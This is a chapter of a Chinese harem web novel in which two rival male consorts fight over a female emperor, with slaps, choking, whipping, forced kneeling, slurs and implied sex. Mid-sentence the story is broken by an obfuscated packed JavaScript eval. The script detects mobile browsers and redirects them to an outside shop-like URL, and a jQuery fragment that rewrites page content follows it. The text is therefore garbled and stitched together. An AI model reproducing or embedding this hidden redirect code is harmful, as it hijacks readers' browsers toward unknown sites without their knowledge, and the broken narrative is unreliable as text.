29. [锁] [此章节已锁]
作品:《坏女人,但万人迷》 那张脸仿佛与楚凌珩的影子重叠在一起。
就连承宠过后,眼角眉梢残留的风情都格外相似,同样是一双微微上扬的眼,同样的红润唇色。
恍然间,竟分不清谁才是正主,谁才是替身的那个。
“哥哥。”青年露出一个腼腆怯懦的笑:“凌越回来了。”
对上楚凌珩僵冷的视线,他不慌不忙地躬身行礼:“哥哥万福。今后我们一同伺候陛下,还望哥哥多多包容弟弟。”
楚凌越鬓发凌乱,衣衫未整,连身上都还带着游祀语的余香。
全然是以胜利者的姿态挑衅示威。
楚凌珩可不会惯着他。
他冷眼注视楚凌越,上前,干脆利落地一巴掌掴在那张与自己如出一辙的面孔上。
眼里浮起不加掩饰的厌憎:“我可没有你这种烂货皇弟。”
“嘶……”楚凌越猝不及防,被打得踉跄着后退,雪白的脸上瞬间显出清晰的五个指印。
他按着火辣生疼的脸,泪光楚楚望向游祀语,小声哀泣:“陛下……”
见游祀语不搭理自己,楚凌越又转向楚凌珩,咬唇,眼眶里充盈着水珠,却偏要做出一副温顺受教的模样,冲他屈膝。
“弟弟知错了。皇哥打我是应该的。弟弟以后不惹皇哥生气了。”
“只是哥哥……你总是这般粗鲁暴戾,陛下终有一天会厌烦你这种性子的,届时……”
楚凌越态度卑顺得宛如一条摇尾乞怜的狗,可那瞳中的阴毒却分毫未变。
楚凌珩一直忮忌成性,不分场合地争风吃醋,早晚会失去陛下的宠爱。
这里是东昇,可不是西宸,容不得他一而再再而三地放肆。
他总会等到他被彻底抛弃的那一天。
楚凌珩憎恶极了楚凌越惺惺作态的样子,厌极反笑:“怎么?你这卖弄风骚的小贱人,还有脸说我?”
“除了爬床,你还会什么?”
“我告诉你,别说是打你一巴掌,便是将你这贱种活活打死,碾成碎渣,陛下也不会怪罪我。”
楚凌越闻言缩了缩脖子,泪珠颤颤落下。
楚凌珩偏不给他示弱的机会,抓着他的衣领恐吓:“再敢勾引陛下,我便将你这张脸,一寸寸划烂,再剁碎丢进荒野喂畜牲!”
楚凌越状若恐惧地点头,只是当楚凌珩因为距离缩短靠近时,他压低了声音,用只有两人听得到的音量说:
“哥哥知道吗?陛下方才可是非常快活呢。”
“你如今身子愈发重了,也无法像从前那般取悦陛下。但没关系,我保证会让陛下尽兴的。”
“皇哥以后,便只能站在一边,眼睁睁看着陛下在我身上驰骋了。”
“贱人!”
楚凌珩恶狠狠掐住楚凌珩的脖子,一手死死按着他的后脑,几乎是挤出字来:“我真后悔那天没杀了你。”
楚凌越被掐得呼吸困难,眼角的泪花愈发汹涌,却始终似笑非笑,盯着楚凌珩的眼睛。
那眼神带着执拗和倔强。
“是我先喜欢她的!三年前她假扮云游商人在西宸停留时,我第一眼便认定了她。”
“论起感情深浅,你根本比不上我。”
“我迟早……会取代你。”
这几句一字一顿,宛如拼尽全部力气,挤出肺腑说出。
楚凌珩瞳孔如针刺般收紧,手上的力道几乎要将楚凌越的脖子折断。
游祀语在旁看了许久,似有些不耐烦地开口:“够了。”
她清冷的声线不带情绪:“君后不必动气。”
“凌越确实不该冒犯你。他犯了错,按规矩处置就是了。”
“左右不过是个消遣的玩意,君后就算是觉得碍眼,也不值当脏了自己的手。”
“罚十几鞭子惩戒即可。”
游祀语轻描淡写地宣布了裁决。
楚凌越于她,只是一件还算可心的玩物。
但玩物就是玩物,随时可以换,也随时可以弃。
更何况他还敢算计到自己头上。
那瓶不知成分的秘药,已经严重冒犯了游祀语的权威。
她可从来没有吃亏的习惯。索性就全塞进楚凌越嘴里,让他好好尝尝滋味。
不过她还是高估了这帮男人沉溺于情爱的程度,原来只是瓶烈性春.药啊……
亏她还以为楚凌越要行什么不轨之事。
昨晚他吞了药,情难自制地扑上来索欢。
抱着她的腿衣衫半褪,颠颠求她要自己,那举动,确实像只发.情的小公狗,又贱又可爱。
求得她都心软了,才勉强纡尊降贵地……。
不过眼下,还是楚凌珩的肚子更为要紧。
至于刚被临幸完的楚凌越,以后再慢慢解锁新的……就是了。
但受罚,还是免不了的。
楚凌珩听到处罚内容,浑身的戾气消散了些,他找回一丝理智,手一松,任由楚凌越跌倒在地,狼狈地捂着脖子咳嗽。
游祀语拂下楚凌珩落在额前的发丝,轻轻拥住他颤栗的身子,偏头在鬓边落下温柔的吻:“好了,没事了。”
她漫不经心扫了一眼砖石上剧烈吸气的楚凌越,神情仍是淡然无波,只对守卫下令:“带他下去,封为侍役。”
楚凌越脸色一白,又咳出一滩腥红的血丝。
侍役。宫里最末等的位分,听起来好听,实质上离最低贱的虜才只有一步之差。
楚凌越之前的骄傲得意顿时一扫而空,单薄的身子不可遏制地渐渐塌陷。
就连听到自己要受鞭刑时也不曾如此失魂落魄。
他狠狠咬破嘴唇,咽下最后的倔强和不甘。接着踉跄起身,俯首跪拜:“谢陛下恩赏……”
得到游祀语指令的暗卫上前架住楚凌越,一路拖拽着他往刑房走去。
“这下满意了?”
游祀语轻笑着问楚凌珩,勾着他的下巴,却见噼里啪啦的泪珠断了线一样往下掉。
说到底,他再坚强,也只是个刚赘进门的年轻男人,怎么受得了同床共枕的爱人纳别人为侍。
思及这一层,游祀语又放柔了语气,抹去他的眼泪:“哭什么?刚才不是挺有后宫之主的威风?”
“不会有任何人能占据你的位置,你依然是我的君后,独一无二的。”
不。
不一样的。
我是全心全意倾心于你,你日后却说不定有三千佳丽,也许哪天就把我抛到脑后……
然后把对我的好,分给所有人。
这个念头让楚凌珩本就酸涩的心更加无助地收紧。
不愿去想,不敢去想,一想就痛苦得将近窒息。
他只想被她疼着、宠着,永远别变。
楚凌珩闭了闭眼,睫毛上坠着泪滴,埋进游祀语肩窝。
“我就是心里难受……”
他喜欢极了她,又恨极了自己无法独占她的感情。
“我不想和别人分享陛下。”楚凌珩抽噎着,哽咽的声线还残留着一丝余愤和脆弱。
“……陛下不许再让那个贱人近身侍奉。你只许要我……”
“我现在舌头已经很厉害了,又不是不能满足陛下。”
“陛下一时兴起纳了那个贱人便罢了,以后不准再多一个!不,半个都不行!”
游祀语知晓他素来敏感,也不在意楚凌珩说的那些混账话,轻抚着他后背哄:“好好好,以后还只宠你。”
楚凌珩这才抓住游祀语的腰,把脸蹭在她颈侧,小声说:“陛下可不能骗我。”
游祀语让楚凌珩缓了许久,才放开他,捏了他的脸:“别胡乱思虑了,去歇会儿,晚上朕去寝殿陪你。”
楚凌珩低低应了,一步三回头,用那肿得像兔子般湿漉漉的双眼,不舍地望着游祀语,最终挪步离开。
*
安安稳稳度过了一阵子,楚凌珩的孕期已进入中后段。
他的腹部隆起得明显,身形也比之前略显臃肿了些。
害喜症状减轻许多,但每日仍是慵懒嗜睡,偏又格外粘人。
他每次醒来见不到游祀语,就抱着肚子满宫找,非得亲自找到人才肯罢休。
游祀语都耐心应付着,时不时亲亲他的脸摸摸他的头发,半哄半劝着让他乖乖回去休息。
偶尔也会白日宣*,或在内殿侧榻上,或在南书房的案上,甚至连御花园的长椅凉亭都试过。
但到底女男体力有悬殊,次数多了,楚凌珩吃不消,腰酸腿软,后半程几乎都连说话的力气都没了,气若游丝,嗓音哑得可怜。
游祀语怕他遭不住,也克制着,每回只一次便放过他。
日子过得太安逸,楚凌珩都快忘了宫中还有另外一位侍寝的存在。
“虜才昨夜为侍役上药,侍役身子骨瞧着弱不禁风,倒恢复得快,养了一阵,鞭痕也只剩浅浅印
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364365|197291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记了。”
楚凌珩正在吃午后的点心,闻言手中的茶盏“砰”一声重重落回桌面。
他腾地坐直身子,本来懒散的凤目一下子锐利起来:“那烂货伤好了?”
楚凌珩嗓音里含着愠意,墨发因起身的动作而散乱,衬着孕期更加白皙的一张脸,有种天然的艳丽。
那漂亮如花瓣的优美唇形,一张一合间,吐出的却是恶言:“他当侍役也不久了,却一次也没给本宫请安。你们说他是不是不把本宫放在眼里?”
贴身侍奉的宫人察言观色,斟酌着回话:“君后是该立规矩。侍役初来乍到,不懂事,需要提点一二。”
楚凌珩面色稍霁,勾着唇角冷笑,“那还等什么,让那个贱人过来吧。”
不多时,守门的禀报:“侍役求见君后。”
楚凌珩挥手示意:“让他进来。”
门开。
一身素净宫服的楚凌越走到楚凌珩面前,盈盈下跪。
“见过君后。”
他声音轻如蚊吟,眉目低垂,与数月前锋芒毕露的傲色判若两人。
楚凌珩居高临下坐着,也不出声,指尖一下下点着扶手。
气氛沉默。
他不急,但也不让楚凌越起身。
跪了半晌,楚凌越额头渗出细汗,忍不住张口:“不知君后召侍前来有何吩咐?”
宫里是个吃人不吐骨头的地方,多的是拜高踩低的人,和明里暗里折磨人的手段。
楚凌越不受宠,位分又低,哪怕是后宫唯二的主子,也不过是任人搓圆捏扁的软柿子。
一开始还有人认为,他能威胁到楚凌珩地位,但随着时间流逝,也逐渐趋于冷眼旁观。
所以此时的楚凌越很是憔悴,面庞瘦了一圈,显得尖削,嘴唇也无往日的莹润饱满,失了血色。
楚凌珩定定盯了他半晌,似是心情不错,又挑选一块糕点,用银筷夹起送到自己唇边。
“让你跪着你便跪着。这里没你说话的份。要张嘴,也得等本宫问。”
“是。”楚凌越身躯晃了晃,艰难应答。
久跪不起,体力很快不支。
楚凌越弯着腰,手压着左腹,那一鞭留下的伤,虽好得差不多了,疼痛却经久不散。
汗淌进眼睛里,胀涩得难受。
楚凌珩仿佛极享受看楚凌越苦苦熬受的状态,不紧不慢地闲闲用着点心,之后又添了一杯新茶润口。
“本宫是为你好,看你那风一吹就能倒似的弱模样,如何能为陛下绵延子嗣。”
“该学的东西多着呢,你可得认认真真记牢。”
“本宫施恩,也不枉你当了那一夜的替身。”
楚凌越抬起头,隐着泪的眸子观向楚凌珩,勉强挤出笑:“多谢君后体恤,凌越谨遵教诲。”
楚凌珩还是隔应他的笑容,他冷嗤一声,下令:“派两个人看着,让他跪到晚上。”
“跪不动就压着他的肩膀,别让他偷懒。若是昏过去了,就掐人中泼冷水,给他提提精神。”
夕阳西下,暮色降临。
凉爽的夜风从开着的殿门吹进来,泛着刺骨寒意。
楚凌越跪了整整三个时辰,身体已麻木到没有知觉,他的头越来越低,几近趴伏,细白手指紧紧握成拳抵着地面,视线模糊。
游祀语踏进内殿的时候,就见到楚凌越面色惨白,唇瓣干裂,像濒死的鱼般奄奄一息。
“这是怎么了?”游祀语皱眉,朝宫人沉声问询。
宫人战战兢兢:“回陛下,是君后让侍役罚跪,以示教训。”
楚凌越听到熟悉声音,抬头凝向那一抹明黄的身影,涣散的瞳孔里才有了聚焦之处,他唇动了动,哑声唤:“陛下……”
晶莹的珠子从眼底滚落,砸到地上,碎成几瓣。
游祀语扶起楚凌越,低头查看他的膝盖。
果不其然,红肿一片,白皙的肌肤上泛着淤青,隐隐透出可怖的血色。
楚凌越还在流泪,把胸前的衣襟都浸湿了一大片,“陛下,您原谅凌越了吗?”
他楚楚可怜,满是泪痕的小脸带着祈盼。
游祀语却只觉烦躁,对楚凌珩厌烦之余,又对楚凌越多添了一分责备。
哭哭哭,福气都被哭没了。
她脸色不太好,这要是废了腿,养起来还不知要花费多少功夫。
只玩了一次的玩具就坏了,多扫兴。

